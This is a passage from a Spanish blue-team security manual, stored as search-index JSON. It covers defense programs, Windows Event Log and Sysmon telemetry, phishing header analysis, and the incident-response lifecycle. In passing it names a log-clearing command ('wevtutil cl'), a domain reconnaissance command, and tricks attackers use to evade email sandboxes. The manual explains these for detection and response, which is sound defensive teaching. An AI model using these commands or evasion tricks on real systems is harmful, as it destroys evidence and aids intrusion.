convierte alertas sueltas en una historia de ataque, el hardening que quita cada técnica de raíz y el playbook de respuesta —incluido el doble reset de krbtgt—.","tags":["active-directory","deteccion","siem-logging","threat-hunting","incident-response","hardening","purple-team"],"title":"4.9 · Defensa de Active Directory: detección, hardening y respuesta","url":"/speculum/p4-active-directory/4-9-defensa-ad/"},{"content":"Panorama Todo el bloque rojo de este manual se sostenía sobre una asimetría que la metodología de pentest (3.1) enunció como principio de cierre: el atacante necesita que funcionen todos los eslabones de su cadena; el defensor necesita romper uno solo. Esta Parte da vuelta el manual y se instala del lado del defensor, pero la asimetría no lo favorece tanto como parece. El atacante elige el momento, el vector y el eslabón por el que entra; el defensor tiene que cubrir la superficie entera, de forma continua, sin saber por dónde vendrá el golpe. Esa desventaja estructural es la que obliga a que la defensa deje de ser una colección de productos y se convierta en un programa: un conjunto de funciones especializadas que operan juntas, de manera activa y permanente, asumiendo que el compromiso o ya ocurrió o va a ocurrir.\nEste capítulo abre P5 y es su marco, del mismo modo que 3.1 abre la explotación y el método OSINT (2.1) abre el reconocimiento. No enseña qué Event ID revisar ni qué regla escribir —eso lo hacen los capítulos siguientes— sino cómo se organiza una defensa para que esos eventos y esas reglas produzcan detecciones que valgan la pena. Tres ideas lo estructuran, y las tres son correcciones a errores frecuentes. La primera: la defensa es un programa de funciones que interoperan, no una suma de herramientas. La segunda: la detección madura se construye por comportamiento —las tácticas, técnicas y procedimientos del adversario— y no por el artefacto atómico (hash, IP) que caduca en horas; la pirámide del dolor de David Bianco es el mapa de esa transición. La tercera: la detección automatizada, por definición, solo ve lo que ya se sabía buscar, de modo que un programa serio la complementa con cacería proactiva dirigida por hipótesis, cuyo producto no es un informe sino una regla nueva.\nflowchart TD INT[\"Intelligence\\n(inteligencia de amenazas)\"] INT --\u003e DET[\"Detect\\n(SOC · reglas · alertas)\"] INT --\u003e HUN[\"Hunt\\n(cacería proactiva\\nhypothesis-driven)\"] INT --\u003e RES[\"Respond\\n(triaje · contención ·\\nerradicación)\"] INT --\u003e VAL[\"Validate\\n(¿los controles\\nfuncionan?)\"] DET --\u003e RES HUN --\u003e|\"hallazgo confirmado\"| RES HUN --\u003e|\"hunt-to-detection\"| DET VAL --\u003e|\"brecha de cobertura\"| DET RES --\u003e|\"lecciones aprendidas\"| INT MC[\"Mission Control — tejido conectivo (recursos · métricas · crisis · alineación con el negocio)\"] MC -.-\u003e INT MC -.-\u003e DET MC -.-\u003e HUN MC -.-\u003e RES MC -.-\u003e VAL classDef n fill:#1e293b,stroke:#475569,color:#e2e8f0; classDef m fill:#334155,stroke:#64748b,color:#e2e8f0; class INT,DET,HUN,RES,VAL n; class MC m;La defensa como programa: las seis funciones El modelo que ordena esta Parte es el de las seis funciones de ciberdefensa que Mandiant destila de su práctica de primera línea. Su punto de partida es una distinción que se pasa por alto con facilidad: diseñar controles no es lo mismo que operarlos. La arquitectura, la gobernanza y la gestión de riesgos deciden qué defensas existen; la ciberdefensa es el frente que las usa para «resistir activamente los ataques y minimizar el impacto de un compromiso». Ese frente se compone de seis piezas que no funcionan en serie sino que se alimentan entre sí de forma continua.\nLa inteligencia (Intelligence) es el pilar que orienta a las demás: el conocimiento anticipado sobre los actores de amenaza y sus TTP le dice a la detección qué buscar, a la cacería qué hipótesis plantear y a la respuesta qué priorizar. Sin ella, el resto opera a ciegas y gasta recursos escasos en el lugar equivocado —por eso su desarrollo propio es una Parte entera, P1—. La detección (Detect) alberga las operaciones tradicionales del SOC —Security Operations Center, el centro de operaciones de seguridad—, pero sumándoles analítica y contexto: no es recolectar registros, es convertirlos en alertas de valor. La respuesta (Respond) investiga, contiene, erradica y recupera, apoyándose en la automatización para reducir el impacto. La validación (Validate) comprueba de forma continua que los controles funcionen como fueron diseñados —el terreno del purple team y de la emulación adversaria, que se desarrolla en P6—. La cacería (Hunt) es la función proactiva que sale a buscar compromisos que las otras no vieron. Y el control de misión (Mission Control) es el tejido conectivo que administra recursos, métricas y crisis, y mantiene todo alineado con los objetivos del negocio.\nEl punto central es la interoperación. Un hallazgo de la cacería que se confirma empalma de inmediato con la respuesta; el conocimiento que la respuesta extrae de un incidente vuelve a la inteligencia; una brecha de cobertura que la validación descubre se traduce en una detección nueva. Un programa que trata estas funciones como casillas independientes —el SOC por un lado, el equipo forense por otro, la inteligencia como un feed que nadie lee— tiene todas las piezas y ninguna defensa. Los capítulos de P5 desarrollan estas funciones sobre el terreno: la telemetría que las alimenta (5.2), la respuesta a incidentes (5.4), el forense que sostiene la investigación (5.5) y las cacerías específicas contra las técnicas que el bloque rojo dejó planteadas (5.6 a 5.11).\nDe la firma al comportamiento: la pirámide del dolor La pregunta que define la madurez de una detección es contra qué se dispara. La respuesta ingenua —«contra los indicadores de compromiso conocidos»— es correcta pero incompleta, y el matiz que le falta es toda la diferencia. Un indicador de compromiso (Indicator of Compromise, IOC) es cualquier artefacto observable en un sistema o en la red que delata una intrusión: un hash de archivo malicioso, una dirección IP de mando y control, un dominio de phishing, una clave de registro de persistencia, un patrón de tráfico saliente. Su virtud es que se comparten y automatizan con facilidad —formatos como STIX, OpenIOC o reglas YARA existen justamente para eso— y ofrecen una vía rápida para detectar incluso amenazas nuevas antes de que haya firmas formales. Su defecto es que no todos los indicadores le cuestan lo mismo al atacante.\nEse matiz es la pirámide del dolor de David Bianco, y aunque la fuente que cataloga los IOC lo da por sabido sin nombrarlo, es el marco que ordena toda la detección moderna. La pirámide clasifica los indicadores por el «dolor» que le causa al adversario tener que cambiarlos cuando el defensor empieza a detectarlos:\nValores de hash (base de la pirámide): trivial. Un bit cambiado en el binario produce un hash nuevo; el atacante recompila y la firma queda inservible. Es la evasión que describe la evasión de AV/EDR (3.11). Direcciones IP: fácil. Rotar la IP del servidor de C2 o usar una VPN cuesta minutos. Nombres de dominio: algo más molesto, pero registrar un dominio nuevo sigue siendo barato y automatizable —de ahí los algoritmos de generación de dominios (DGA)—. Artefactos de red y de host: molesto de verdad. Un User-Agent característico, la cadencia de un beacon, la ruta de un archivo temporal: cambiarlos obliga a tocar la herramienta. Herramientas: doloroso. Reemplazar Mimikatz o Cobalt Strike por otra cosa exige reentrenar, reprobar, reinvertir. Tácticas, técnicas y procedimientos (TTP) (cima de la pirámide): máximo dolor. Detectar el comportamiento —«un proceso de Office lanza PowerShell codificado», «una cuenta de servicio pide un TGS con cifrado RC4»— obliga al atacante a cambiar su forma de operar, no un dato. Y eso es caro, lento y a veces imposible. La lección de detection engineering se sigue directamente: las mejores detecciones apuntan a comportamientos, no a artefactos. Como resume la propia fuente, un buen indicador es «difícil de evadir sin que el atacante cambie sus herramientas, tácticas o metodología». Por eso la defensa de Active Directory (4.9) no se construyó sobre hashes de Mimikatz sino sobre el Event ID 4769 con cifrado RC4 —la firma de una táctica, el Kerberoasting, que el atacante no puede evitar sin renunciar a la técnica—. La detección por IOC atómico no se descarta: es la primera línea, barata y rápida contra amena","section":"P5 · Blue Team, Detección y DFIR","summary":"El capítulo-marco que abre P5 y da vuelta el manual: del atacante que necesita todos los eslabones al defensor que solo necesita fallar uno. La defensa no es una suma de herramientas sino un programa activo de funciones que interoperan —inteligencia, detección, respuesta, validación, cacería y control— bajo el mismo supuesto de compromiso que gobierna al atacante. Su tesis operativa: la detección se construye por comportamiento (TTP), no por artefacto atómico (la pirámide del dolor de Bianco), y la cacería dirigida por hipótesis retroalimenta la detección en un ciclo cerrado (hunt-to-detection). Es el espejo azul de la metodología de pentest (3.1) y del método OSINT (2.1).","tags":["blue-team","deteccion","threat-hunting","detection-engineering","siem-logging","incident-response"],"title":"5.1 · El programa de defensa: detección y threat hunting","url":"/speculum/p5-blue-dfir/5-1-deteccion-hunting/"},{"content":"Panorama El marco de P5 (5.1) cerró con un principio que este capítulo convierte en infraestructura: no se puede detectar lo que no se registra, ni cazar lo que no se hipotetiza. La detección, la cacería y el forense son operaciones que se ejecutan sobre datos; si esos datos no existen —porque la auditoría estaba apagada, porque el canal que los guardaba no se recolectaba, porque el atacante los borró—, no hay analítica que valga. La telemetría es esa capa de datos, y este capítulo la sistematiza: qué fuentes existen, qué registran, cómo se adquieren y cómo se correlacionan. Todo lo que sigue en la Parte —el movimiento lateral en 5.6, la caza de C2 en 5.7, el análisis de malware en 5.8— consulta las fuentes que aquí se definen.\nDos tensiones gobiernan el diseño. La primera es de cobertura contra ruido: registrar todo lo posible ahoga al SIEM —Security Information and Event Management, la plataforma que centraliza y correlaciona los registros—, dispara los costos y entierra la señal. Por eso la selección se hace guiada por inteligencia, como fijó 5.1: las TTP que se quieren ver deciden qué se ingiere. La segunda es de oportunidad: casi ninguna de estas fuentes viene activada por defecto —el registro de la línea de comandos, el Script Block Logging de PowerShell, el despliegue de Sysmon son todos opcionales—, de modo que habilitarlas es un acto de preparación que ocurre antes del incidente. Una organización que descubre el ataque y recién entonces va a mirar los logs, encuentra que los que importaban nunca se estaban guardando. La telemetría es la fase de preparación del ciclo de respuesta a incidentes (5.4) hecha datos.\nEste capítulo se concentra en las tres fuentes de host de Windows que hacen visible la enorme mayoría de la actividad de endpoint —los Event Logs, la ejecución de procesos y PowerShell— y cierra con la correlación multi-fuente que las une con la red. Es deliberadamente el complemento general de la defensa de Active Directory (4.9), que ya desarrolló a fondo el diccionario de Event IDs de autenticación, cuentas y Kerberos del dominio; aquí no se repite ese diccionario, sino que se describe la plataforma de datos sobre la que aquel se apoya y que los capítulos siguientes reutilizan.\nflowchart TD subgraph HOST[\"Telemetría de host (Windows)\"] EL[\"Windows Event Logs\\n(Seguridad · Sistema ·\\nAplicación + operativos)\"] PR[\"Ejecución de procesos\\n4688 + Sysmon 1\\n(command line · hashes ·\\npadre-hijo)\"] PS[\"PowerShell\\n4104 script block ·\\n4103 module · transcript\"] end subgraph NET[\"Telemetría de red / perímetro\"] FW[\"Firewall · proxy · DNS\"] APP[\"IIS / Apache · syslog\"] end EL \u0026 PR \u0026 PS --\u003e WEF[\"Reenvío (WEF) +\\nadquisición offline\\n(EvtxECmd)\"] WEF --\u003e SIEM[\"SIEM\\n(normaliza · correlaciona ·\\nalerta)\"] FW \u0026 APP --\u003e SIEM SIEM --\u003e DET[\"Detección · cacería ·\\ninvestigación\"] classDef n fill:#1e293b,stroke:#475569,color:#e2e8f0; classDef s fill:#334155,stroke:#64748b,color:#e2e8f0; class EL,PR,PS,FW,APP,WEF,DET n; class SIEM s;La arquitectura de los Windows Event Logs Casi todo lo que ocurre en Windows queda registrado en algún Event Log —los registros que Microsoft diseñó originalmente para que los administradores diagnosticaran fallas y que resultaron ser la fuente primaria de evidencia de un incidente—, porque, como resume la fuente, «todo en el entorno de Windows está atado a un proceso de Windows, incluidas las acciones del atacante». La evidencia se reparte en canales según su origen. Los tres clásicos son Seguridad (Security) —el más valioso: autenticación, validación de credenciales, acceso a objetos, creación de procesos, cambios de privilegios—, Sistema (System) —servicios, drivers, cambios del cortafuegos— y Aplicación (Application), que definen los desarrolladores de terceros. Pero la cacería moderna depende tanto o más de canales operativos específicos: los de PowerShell, los de tareas programadas, los del protocolo de escritorio remoto. La primera habilidad del analista es saber que un mismo ataque deja rastro disperso en varios canales y que reconstruir la cadena exige correlacionarlos.\nFísicamente, desde Windows Vista los registros se guardan como archivos .evtx en %SystemRoot%\\System32\\winevt\\Logs\\. Dos hechos operativos importan. El primero es la escala: una instalación limpia de Windows 11 genera más de 336 archivos de registro distintos, de modo que ingerir todos al SIEM no es viable ni deseable —de vuelta a la selección guiada por TTP—. El segundo es que la ruta de almacenamiento es reconfigurable por un administrador —o por un atacante con privilegios— a través de la clave de registro HKLM\\SYSTEM\\CurrentControlSet\\Services\\EventLog\\\u003ccanal\u003e, un detalle que importa cuando la evidencia no aparece donde se la espera.\nLa recolección centralizada en el SIEM tiene un punto ciego: depende de un agente que corre en el host, y un atacante con privilegios puede inhabilitarlo, aislar el equipo o —peor— borrar los registros locales (el wevtutil cl / Event ID 1102 «se limpió el registro de auditoría» que se detalla en el forense de 5.4). De ahí dos defensas complementarias. Primera, reenviar los logs fuera del host en tiempo casi real —Windows Event Forwarding (WEF) hacia un colector, o el propio agente del SIEM—, de modo que la copia sobreviva al borrado local. Segunda, dominar la adquisición forense offline: extraer los .evtx directamente del disco y procesarlos con herramientas independientes del agente —EvtxECmd de Eric Zimmerman, que convierte los binarios masivamente a CSV/JSON/XML para importarlos; Event Log Explorer para el análisis gráfico; PsLogList para volcarlos en caliente—. Es la capacidad que salva la investigación cuando el adversario ya cegó la telemetría en vivo. Un detalle metodológico útil para practicar sin un incidente real: el libro construye su laboratorio con HELK (The Hunting ELK, un SIEM de código abierto sobre Elasticsearch) alimentado por el dataset Mordor —eventos de seguridad pregrabados a partir de la simulación documentada de técnicas adversarias, incluidos conjuntos de APT29—, lo que permite estudiar la anatomía de los eventos bajo ataque sin tener que generar la actividad maliciosa a mano.\nEjecución de procesos: 4688 y Sysmon 1 La fuente más rica para cazar la ejecución de código malicioso es el registro de creación de procesos. El evento nativo es el Event ID 4688, que se dispara cada vez que se instancia un ejecutable y registra campos vitales: el New Process Name (qué se ejecutó), el Creator Process Name (quién lo lanzó) y el Token Elevation Type (con qué nivel). Su complemento imprescindible es el Event ID 1 de Sysmon —System Monitor de Sysinternals—, que enriquece el mismo hecho con campos forenses que 4688 no trae, sobre todo los hashes criptográficos del binario, que permiten cruzar cada ejecución contra listas de IOC conocidos (la base de la pirámide del dolor de 5.1) y elevan la fidelidad del triaje. Desplegar Sysmon con una configuración curada es una de las decisiones de preparación con mejor retorno.\nAhora bien, 4688 y Sysmon 1 tienen un defecto crítico si no se los configura bien: por defecto registran qué binario se ejecutó pero no con qué argumentos. Sin la política de auditoría de línea de comandos (command-line auditing) habilitada, el sistema ve que corrió net.exe pero no ve net group \"Domain Admins\" /domain —es decir, no distingue el uso legítimo de una utilidad del sistema de su abuso—. Como la línea de comandos «se usa para decirle al proceso qué hacer», sin ella la detección de LOLBins (Living Off the Land Binaries, los binarios legítimos que el atacante abusa para no traer malware propio) es prácticamente imposible. Habilitar la captura del Process Command Line es, junto con Sysmon, la configuración que hace útil todo lo demás.\n$ # Habilitar la auditoría de creación de procesos CON línea de comandos (preparación, vía GPO o local): # Config. equipo → Directivas → Plantillas administrativas → Sistema → Auditoría de creación de procesos # \"Incluir línea de comandos en los eventos d","section":"P5 · Blue Team, Detección y DFIR","summary":"La capa de datos sobre la que corre toda la detección de P5. No se detecta lo que no se registra —pero registrar todo indiscriminadamente ahoga al analista—, de modo que la telemetría se elige guiada por las TTP que se quieren ver (el principio de 5.1) y se habilita ANTES del incidente. El capítulo sistematiza las tres fuentes de host de Windows que hacen visible casi cualquier ataque de endpoint —Windows Event Logs, la ejecución de procesos (4688 + Sysmon 1) y PowerShell (4104, el que desnuda lo fileless)— y la correlación multi-fuente que las une con la telemetría de red y perimetral en el SIEM. Es la base de datos que 4.9 aplicó al dominio y que los capítulos 5.6–5.11 aplican técnica por técnica.","tags":["blue-team","siem-logging","deteccion","threat-hunting","dfir-forense"],"title":"5.2 · Telemetría y SIEM: Windows Event Logs, Sysmon y PowerShell","url":"/speculum/p5-blue-dfir/5-2-telemetria-siem/"},{"content":"Panorama El perímetro de red dejó de ser la línea de defensa hace años; la identidad ocupó su lugar. Cuando las aplicaciones viven en la nube, el trabajo es remoto y el acceso depende de credenciales y tokens, la pregunta que importa ya no es «¿el paquete entró a la red?» sino «¿quién dice ser este usuario y se está comportando como él?». Y la puerta de entrada a esa identidad es, abrumadoramente, el correo: según el informe X-Force de IBM, el 41% de los accesos iniciales empiezan con un phishing, porque para el atacante recolectar direcciones con el OSINT de identidad (2.2) y enviar un señuelo cuesta muy poco y explota la vulnerabilidad más constante, la del usuario. Este capítulo es el espejo defensivo de ese OSINT —donde 2.2 mostraba cómo el atacante construye el conocimiento de una identidad, aquí se detecta cómo la usa— y de la explotación de Kerberos (4.2), su forma más avanzada dentro del dominio.\nUn principio rector, tomado de la práctica de respuesta a incidentes, gobierna todo el capítulo: una autenticación exitosa no implica legitimidad. Un login correcto, un MFA aprobado, un token válido —cada uno puede ser el atacante usando una identidad legítima que robó o cuyo consentimiento engañó—. Por eso la detección de amenazas de identidad no se hace sobre el evento aislado («hubo un acceso exitoso, todo bien») sino sobre el comportamiento en contexto: quién, desde dónde, con qué dispositivo, a qué velocidad, haciendo qué a continuación. Es la aplicación directa de la pirámide del dolor de 5.1 a la identidad: la IP de un login cambia con un clic, pero el patrón «autenticación exitosa + dispositivo nuevo + viaje imposible + regla de buzón que oculta facturas» es una TTP que el atacante no puede evitar sin renunciar al objetivo.\nEl recorrido va de afuera hacia adentro, siguiendo la cadena de identidad: primero el correo entrante (el señuelo y el análisis de sus cabeceras), luego la autenticación (el léxico de Event IDs del login), después los ataques modernos a la identidad en la nube (que ni roban la contraseña ni burlan técnicamente el MFA) y finalmente el abuso de identidad en el dominio (Kerberos visto desde el SIEM). La telemetría de todos ellos es la que 5.2 definió.\nflowchart LR MAIL[\"Correo entrante\\n(phishing · BEC ·\\nadjunto/enlace)\"] --\u003e AUTH[\"Autenticación\\n(login: 4624/4625 ·\\nSPF/DKIM/DMARC)\"] AUTH --\u003e CLOUD[\"Identidad en la nube\\n(OAuth consent · AiTM ·\\nrobo de token)\"] AUTH --\u003e DOM[\"Identidad en el dominio\\n(Kerberos: 4769 RC4 ·\\nspraying · lateral)\"] CLOUD --\u003e|\"regla de buzón · Graph API\"| FRAUD[\"Fraude / BEC ·\\npersistencia\"] DOM --\u003e|\"5140/5145 · 4728/4732\"| ESC[\"Escalada · lateral\\n→ 5.6\"] classDef n fill:#1e293b,stroke:#475569,color:#e2e8f0; class MAIL,AUTH,CLOUD,DOM,FRAUD,ESC n;El correo como vector de acceso inicial El análisis de un correo sospechoso empieza por clasificar la amenaza. Las familias son cuatro: el phishing masivo e indiscriminado; el spear phishing dirigido y personalizado (que eleva drásticamente la tasa de éxito); el whaling, spear phishing enfocado en ejecutivos de alto valor —las «ballenas», el CEO o el CFO—; y el BEC (Business Email Compromise), el fraude que suplanta o compromete la identidad de un empleado de confianza para desviar pagos. La carga se entrega de dos formas: un adjunto armado —weaponized document—, que segmenta en documentos de Office con macros VBA (los más prevalentes por el uso corporativo), PDF con JavaScript o exploits del renderizador, archivos comprimidos que ofuscan el binario, imágenes ISO que eluden los filtros de tipo, y formularios HTML locales que imitan portales; o un enlace que lleva a un sitio de robo de credenciales o a la descarga de la carga secundaria.\nContra las pasarelas de correo —Secure Email Gateways, que detonan el adjunto en un sandbox antes de entregarlo— el atacante despliega evasiones específicas: inyectar un sleep que supere el timeout del sandbox (el malware «duerme» tres minutos y no hace nada mientras lo observan), entregar el adjunto cifrado con la contraseña en el cuerpo del correo (el sandbox no puede abrirlo automáticamente pero la víctima sí), y alojar las URL en nubes confiables (web.app, OneDrive) que las listas de reputación no bloquean. Por eso el análisis del SOC es un flujo determinista que nunca se detiene en un solo indicador: triangular la reputación de la IP del servidor SMTP (con listas como MxToolbox), validar el dominio contra los registros MX autorizados para descartar suplantación, aislar el contenido, y —cuando hace falta— detonarlo en un sandbox interactivo (ANY.RUN para adjuntos, urlscan.io para enlaces) para capturar el comportamiento real. En un caso típico, un VISA PAYMENT (1).xls protegido con contraseña detona en excel.exe, escribe un UkMes.bat, lanza cmd.exe y termina en un powershell.exe con un argumento Base64 kilométrico —la misma cadena padre-hijo anómala que 5.2 enseña a cazar en el 4688—, revelando en el camino las conexiones HTTP a los servidores de descarga y los flags de descubrimiento del entorno.\nUna regla de higiene forense que se olvida con frecuencia: nunca subir a un sandbox público (ANY.RUN, VirusTotal, urlscan) un adjunto que pueda contener información sensible de la organización. Esas plataformas comparten y a menudo publican las muestras; subir la factura real, el documento interno o el correo con datos de un cliente convierte la investigación de un incidente en una fuga de datos propia. Para material sensible, la detonación se hace en un sandbox propio y aislado (5.8). Análisis de cabeceras: desenmascarar la suplantación Cuando el señuelo suplanta un remitente confiable, la prueba está en las cabeceras, y leerlas exige entender el flujo del correo: el cliente (MUA) entrega al servidor de sumisión (MSA), que transfiere por relés (MTA) hasta el servidor de recepción (MX) del destinatario, que lo deposita vía el agente de entrega (MDA). El detalle forense clave es que cada salto estampa su propia cabecera Received arriba de las anteriores, de modo que el encabezado se lee de abajo hacia arriba: el bloque Received más bajo revela la IP y el hostname del servidor que originó la transmisión —el dato para triangular la infraestructura del atacante contra la inteligencia de amenazas—.\nSobre esa base se leen las discrepancias que delatan la suplantación. La primera es entre el From (visible, que el atacante manipula) y el Return-Path —también Envelope-From, la dirección oculta a la que van los rebotes—: si no coinciden, hay señal de spoofing. La segunda, y la firma clásica del BEC, es un Reply-To divergente: el correo parece venir del proveedor legítimo, pero la respuesta de la víctima se desvía a un dominio externo o lookalike controlado por el atacante. Y la validación criptográfica la dan tres protocolos que conviene leer juntos en la cabecera Authentication-Results:\nSPF (Sender Policy Framework): el dominio publica en su DNS un registro TXT con las IP autorizadas a enviar en su nombre (v=spf1 ip4:... -all); el receptor compara la IP emisora y marca spf=pass o spf=fail. DKIM (DomainKeys Identified Mail): el emisor firma criptográficamente cabeceras y cuerpo; el receptor recupera la clave pública del DNS usando el selector (s=) y verifica que nada se alteró en tránsito. La ausencia del bloque DKIM-Signature en un correo que dice venir de una marca grande es en sí misma una señal. DMARC (Domain-based Message Authentication, Reporting and Conformance): unifica SPF y DKIM exigiendo alineación con el dominio del From visible, y dicta al receptor qué hacer ante el fallo —p=reject (descartar), p=quarantine (a spam) o p=none (solo reportar)—. El contraste es nítido en la práctica: un correo legítimo de Yahoo a Gmail muestra spf=pass + dkim=pass + dmarc=pass bajo p=REJECT; un spoof de FedEx muestra el Received más bajo inyectado desde una IP ajena (mailserver.footballticketnet.com), un spf=fail confirmado al consultar los MX reales de fedex.com en MxToolbox, y la ausencia total de DKIM-Signature —tres pruebas concluyen","section":"P5 · Blue Team, Detección y DFIR","summary":"La identidad es el nuevo perímetro y el correo su puerta de entrada: el 41% de los accesos iniciales empiezan en un buzón. Este capítulo recorre la cadena de identidad de afuera hacia adentro —el correo entrante (phishing/BEC y el análisis forense de cabeceras SPF/DKIM/DMARC), la autenticación (el léxico de Event IDs 4624/4625/4776/4771 que distingue el brute-force del password spraying), los ataques modernos a la identidad en la nube que ni roban la contraseña ni burlan técnicamente el MFA (OAuth consent abuse, AiTM y robo de token de sesión) y el abuso de identidad en el dominio (Kerberoasting visto por el 4769 con RC4)— bajo un principio rector: una autenticación exitosa NO implica legitimidad; se evalúa el comportamiento en contexto, no el evento aislado. Es el espejo azul del OSINT de identidad (2.2) y del Kerberos ofensivo (4.2/4.9).","tags":["blue-team","iam-identidad","deteccion","siem-logging","incident-response","threat-hunting"],"title":"5.3 · Detección de amenazas de identidad y correo","url":"/speculum/p5-blue-dfir/5-3-identidad-correo/"},{"content":"Panorama Detectar no es responder. Cuando la detección o la cacería (5.1) confirman un compromiso —el correo de 5.3 que resultó real, el token robado que ya está dentro—, empieza la función Respond: el conjunto de acciones que investiga, contiene, erradica y recupera. Sin un proceso formal para hacerlo, la organización paga dos precios. El primero es de tiempo: el personal técnico agota horas tratando un ataque como si fuera una falla operativa —«el servidor va lento»— antes de darse cuenta de que es una intrusión. El segundo es de daño: reacciona por instinto, apaga lo primero que ve, y con eso arruina la evidencia y espanta al atacante hacia una madriguera más profunda. Este capítulo desarrolla el ciclo que evita ambos, y su lección central no es qué hacer sino cuándo: la velocidad de la respuesta importa, pero la remediación prematura es peor que la lenta.\nEs la contraparte exacta del bloque rojo. Donde la metodología de pentest (3.1) describió la cadena del atacante eslabón por eslabón, la respuesta a incidentes es el defensor recorriéndola al revés para cortarla —pero cortarla entera y a la vez, no de a un eslabón—. Y como enseñó el método OSINT (2.1), sin evidencia documentada «el incidente nunca ocurrió»: la respuesta que no preserva la prueba no sirve ni para el aprendizaje ni para el tribunal.\nflowchart LR P[\"Preparación\\n(telemetría 5.2 · baseline ·\\nCSIRT · playbooks)\"] --\u003e DA[\"Detección\\ny análisis\\n(5.1–5.3)\"] DA --\u003e T[\"Triaje + scoping\\n(¿es real? alcance ·\\ncronología · adversario)\"] T --\u003e R[\"Remediación táctica\\ncontener → restaurar →\\nerradicar (TODO a la vez)\"] R --\u003e REC[\"Recuperación\\n(DR/BCP · RTO/RPO ·\\nbackups offline)\"] REC --\u003e LL[\"Post-incidente\\n(lecciones + causa raíz →\\nremediación estratégica)\"] LL -.-\u003e|\"fortalece\"| P T -.-\u003e|\"remediar antes de acotar\\n= whack-a-mole\"| X[\"✗ alerta al adversario\"] classDef n fill:#1e293b,stroke:#475569,color:#e2e8f0; classDef bad fill:#3f1d1d,stroke:#b91c1c,color:#fecaca; class P,DA,T,R,REC,LL n; class X bad;El ciclo de vida del incidente El marco de referencia es el ciclo de vida del incidente del NIST, cuatro fases que se repiten: preparación, detección y análisis, contención, erradicación y recuperación, y actividad post-incidente. La preparación es todo lo que se hace antes: la telemetría que 5.2 mandó habilitar, la línea base de normalidad —«no se puede saber qué es anómalo si no se sabe qué es normal»—, la conformación de un equipo de respuesta (CSIRT) con autoridades y umbrales de severidad definidos, los playbooks por escenario, y la retención de servicios forenses externos para las crisis mayores. Una organización que solo arma su proceso durante el incidente ya perdió. La detección y análisis es el objeto de los capítulos anteriores de P5. Este capítulo se concentra en lo que viene después de confirmar: el triaje, la remediación y la recuperación.\nTriaje y scoping: acotar antes de actuar El primer paso tras una alerta confirmada es el scoping: acotar el problema. Buena parte de los supuestos incidentes resultan ser fallas de rendimiento o de hardware, y despachar analistas forenses a cada una desperdicia un recurso escaso y produce fatiga. Pero acotar no es acumular: «más datos no significa mejor investigación», porque toda esa telemetría sigue exigiendo correlación, y una recolección masiva sin foco entierra la señal. El triaje bien hecho determina tres cosas —el alcance del compromiso, la cronología de los eventos y la identidad del adversario— extrayendo los artefactos que reconstruyen la línea de tiempo: los Event IDs críticos (un 4688 que revela mimikatz.exe o PSExec.exe, un 1102 que confirma que el atacante borró las bitácoras de seguridad), el historial de dispositivos USB en HKLM\\SYSTEM\\CurrentControlSet\\Enum\\USBSTOR, las ubicaciones de red y el historial de ejecución.\nAquí aparece una tensión que decide el orden de las operaciones: la evidencia digital es efímera, y la recolección tardía pierde información crucial —sobre todo la que vive en memoria—. El forense en vivo (live, sobre el sistema encendido, capturando datos volátiles con procdump, Wireshark o un volcado de RAM) recupera lo que el post-mortem (sobre un clon del disco apagado) ya perdió. Por eso la captura de memoria precede al aislamiento —el tema de 5.5—. Y todo lo recolectado se preserva bajo cadena de custodia: la documentación secuencial de la adquisición, el transporte y la conservación inalterada de la evidencia, sin la cual —como en el reporte OSINT de 2.1— la prueba no sostiene una investigación ni un juicio.\nEl orden importa: capturar la memoria RAM forense antes de aislar el equipo de la red. Aislar mata las conexiones y los procesos en vuelo que solo existen en memoria —el beacon de C2, el código fileless inyectado, las credenciales en claro que Volatility podría extraer—. Un buen playbook autoriza el aislamiento automático de red únicamente después de haber preservado los datos volátiles. La prisa por «desconectar» destruye la evidencia que iba a explicar el incidente. La regla del tempo: por qué la remediación prematura fracasa El error más común y más caro de la respuesta propia es el pánico: ante el primer síntoma, la organización intenta erradicar al atacante de inmediato. La consecuencia es la contraria a la buscada. Bloquear un indicador aislado —una IP, un dominio, una cuenta— le avisa al adversario que fue detectado antes de que el defensor conozca el alcance total, y el atacante reacciona: se atrinchera en los accesos que el defensor todavía no vio, despliega su carga destructiva antes de perderlo todo, o cambia de herramientas. El resultado es el juego de whack-a-mole —tapar un agujero mientras aparecen otros—: «este enfoque alargará la investigación, causará una erradicación incompleta y puede llevar a ataques repetidos». La regla que se sigue es contraintuitiva pero firme: contener solo cuando el alcance técnico esté acotado, y hacerlo completo y simultáneo, no incremental.\nLa remediación táctica —la respuesta aguda— se estructura en tres movimientos que se ejecutan juntos: contención (limitar el movimiento del atacante y el daño colateral, asegurar la red temporalmente), restauración (rehabilitar rápido los servicios de negocio afectados) y erradicación (purgar sistemáticamente todo rastro del adversario: bloquear su infraestructura, invalidar credenciales, eliminar la persistencia). La clave es la simultaneidad, y es exactamente el punto que 5.3 anticipó para la identidad: no basta con resetear la contraseña si sobreviven el token OAuth y la cookie de sesión; hay que revocar tokens, sesiones, delegaciones y reglas de buzón a la vez, o el atacante sigue dentro por la puerta que se dejó abierta. En Active Directory, la erradicación completa incluye el doble reset de krbtgt y la revocación de los certificados de AD CS que sobreviven a la rotación de contraseñas, como desarrolló la defensa de AD (4.9). Para escalar esta fase sin perder velocidad se apoya en el IOC sweep —barrer el entorno entero con los indicadores conocidos para encontrar todos los sistemas comprometidos, no solo el primero— y en la orquestación SOAR, que automatiza los barridos y la recolección para que el analista se concentre en las decisiones que exigen criterio humano.\n«Es muy común que las organizaciones que hacen su propia respuesta a incidentes entren en pánico e intenten una remediación prematura.» El instinto de «apagar todo ya» es el que más incidentes empeora: convierte una intrusión acotada en una campaña destructiva. La contención se planifica sobre un alcance conocido y se ejecuta de una vez; nunca se improvisa bloqueando indicadores sueltos mientras la investigación sigue abierta. La respuesta en la nube: responsabilidad compartida La migración a la nube cambia una premisa básica de la investigación: quién controla la evidencia. Bajo el modelo de responsabilidad compartida, el proveedor y el cliente se reparten el control forense según el servicio contratado, y eso limita el acceso directo a los registro","section":"P5 · Blue Team, Detección y DFIR","summary":"El destino de toda detección o cacería confirmada: la función Respond del programa de defensa. El capítulo desarrolla el ciclo de respuesta a incidentes del NIST —preparación, detección/análisis, contención/erradicación/recuperación, post-incidente— alrededor de una tesis sobre el tempo: la remediación prematura, ejecutada antes de acotar el alcance, alerta al adversario y desata un juego de whack-a-mole que prolonga el incidente y facilita la reinfección. Distingue la remediación táctica (contener, restaurar, erradicar) de la estratégica (los cambios arquitectónicos que impiden repetir la intrusión), aborda la particularidad de la respuesta en la nube (la responsabilidad compartida limita el acceso a la evidencia) y cierra con la recuperación: 